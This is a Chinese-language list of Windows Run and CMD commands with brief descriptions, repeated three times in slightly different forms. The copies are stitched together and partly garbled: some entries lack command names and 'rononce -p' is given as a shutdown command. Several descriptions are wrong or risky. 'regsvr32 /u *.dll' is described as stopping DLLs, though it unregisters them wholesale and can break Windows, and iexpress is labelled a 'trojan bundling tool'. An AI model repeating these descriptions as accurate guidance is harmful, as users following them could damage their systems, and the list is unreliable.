DEL 删除至少一个文件。 DIR 显示一个目录中的文件和子目录。 DISKCOMP 比较两个软盘的内容。 DISKCOPY 将一个软盘的内容复制到另一个软盘。DOSKEY 编辑命令行、调用 Windows 命令并创建宏。ECHO 显示消息，或将命令回显打开或关上。ENDLOCAL 结束批文件中环境更改的本地化。ERASE 删除至少一个文件。 EXIT 退出 CMD.EXE 程序(命令解释程序)。 FC 比较两个或两套文件，并显示 不同处。 FIND 在文件中搜索文字字符串。
开始运行菜单命令大全 winver---------检查Windows版本 wmimgmt.msc----打开windows管理体系结构 wupdmgr--------windows更新程序 wscript--------windows脚本宿主设置 write----------写字板 winmsd---------系统信息 wiaacmgr-------扫描仪和照相机向导 winchat--------XP自带局域网聊天 mem.exe--------显示内存使用情况 Msconfig.exe---系统配置实用程序 mplayer2-------简易widnows media player mspaint--------画图板 mstsc----------远程桌面连接 mplayer2-------媒体播放机 magnify--------放大镜实用程序 mmc------------打开控制台 mobsync--------同步命令 dxdiag---------检查DirectX信息 drwtsn32------ 系统医生 devmgmt.msc--- 设备管理器 dfrg.msc-------磁盘碎片整理程序 diskmgmt.msc---磁盘管理实用程序 dcomcnfg-------打开系统组件服务 ddeshare-------打开DDE共享设置 dvdplay--------DVD播放器 net stop messenger-----停止信使服务 net start messenger----开始信使服务 notepad--------打开记事本 nslookup-------网络管理的工具向导 ntbackup-------系统备份和还原 narrator-------屏幕“讲述人” ntmsmgr.msc----移动存储管理器 ntmsoprq.msc---移动存储管理员操作请求 netstat -an----(TC)命令检查接口 syncapp--------创建一个公文包 sysedit--------系统配置编辑器 sigverif-------文件签名验证程序
开始菜单中的“运行”是通向程序的快捷途径，输入特定的命令后，即可快速的打开Windows 的大部分程序，熟练的运用它，将给我们的操作带来诸多便捷。 开始菜单--运行--CMD--输入指令 下面就是指令winver 检查Windows 版本wmimgmt.msc 打开Windows 管理体系结构(wmi) wupdmgr Windows 更新程序wscript Windows 脚本宿主设置write 写字板winmsd 系统信息wiaacmgr 扫描仪和照相机向导winchat xp 自带局域网聊天mem.exe 显示内存使用情况msconfig.exe 系统配置实用程序mplayer2 简易widnows media player mspaint 画图板mstsc 远程桌面连接mplayer2 媒体播放机magnify 放大镜实用程序mmc 打开控制台mobsync 同步命令 dxdiag 检查directx 信息drwtsn32 系统医生devmgmt.msc 设备管理器dfrg.msc 磁盘碎片整理程序diskmgmt.msc 磁盘管理实用程序dcomcnfg 打开系统组件服务ddeshare 打开dde 共享设置dvdplay dvd 播放器 net stop messenger 停止信使服务net start messenger 开始信使服务notepad 打开记事本nslookup 网络管理的工具向导ntbackup 系统备份和还原narrator 屏幕“讲述人” ntmsmgr.msc 移动存储管理器ntmsoprq.msc 移动存储管理员操作请求netstat -an (tc)命令检查接口 syncapp 创建一个公文包sysedit 系统配置编辑器sigverif 文件签名验证程序sndrec32 录音机shrpubw 创建共享文件夹secpol.msc 本地安全策略syskey 系统加密，一旦加密就不能解开，保护Windows xp 系统的双重密码services.msc 本地服务设置 sndvol32 音量控制程序 sfc.exe 系统文件检查器 sfc /scannow windows 文件保护tsshutdn 60 秒倒计时关机命令tourstart xp 简介（安装完成后出现的漫游xp 程序）taskmgr 任务管理器 eventvwr 事件查看器eudcedit 造字程序explorer 打开资源管理器 packager 对象包装程序perfmon.msc 计算机性能监测程序progman 程序管理器 regedit.exe 注册表rsop.msc 组策略结果集regedt32 注册表编辑器rononce -p 15 秒关机regsvr32 /u *.dll 停止dll 文件运行regsvr32 /u zipfldr.dll 取消zip 支持 cmd.exe cmd 命令提示符chkdsk.exe chkdsk 磁盘检查certmgr.msc 证书管理实用程序calc 启动计算器charmap 启动字符映射表cliconfg sql server 客户端网络实用程序clipbrd 剪贴板查看器conf 启动netmeeting compmgmt.msc 计算机管理cleanmgr 垃圾整理ciadv.msc 索引服务程序 osk 打开屏幕键盘odbcad32 odbc 数据源管理器oobe/msoobe /a 检查xp 是否激活lusrmgr.msc 本机用户和组logoff 注销命令 iexpress 木马捆绑工具，系统自带nslookup ip 地址侦测器fsmgmt.msc 共享文件夹管理器utilman 辅助工具管理器
开始→运行（cmd）命令大全CMD运行指令 开始→运行→CMD→键入以下命令即可: gpedit.msc-----组策略 -------录音机 Nslookup-------IP地址侦测器 -------打开资源管理器 logoff---------注销命令 -------60秒倒计时关机命令 lusrmgr.msc----本机用户和组 services.msc---本地服务设置 oobe/msoobe /a----检查XP是否激活 notepad--------打开记事本 cleanmgr-------垃圾整理 net start messenger----开始信使服务 compmgmt.msc---计算机管理 net stop messenger-----停止信使服务 conf-----------启动netmeeting dvdplay--------DVD播放器 charmap--------启动字符映射表 diskmgmt.msc---磁盘管理实用程序 calc-----------启动计算器 dfrg.msc-------磁盘碎片整理程序 chkdsk.exe-----Chkdsk磁盘检查 devmgmt.msc--- 设备管理器 regsvr32 /u *.dll----停止dll文件运行 drwtsn32------ 系统医生 rononce -p ----15秒关机 dxdiag---------检查DirectX信息 regedt32-------注册表编辑器 Msconfig.exe---系统配置实用程序 rsop.msc-------组策略结果集 mem.exe--------显示内存使用情况 regedit.exe----注册表 winchat--------XP自带局域网聊天 progman--------程序管理器 winmsd---------系统信息 perfmon.msc----计算机性能监测程序 winver---------检查Windows版本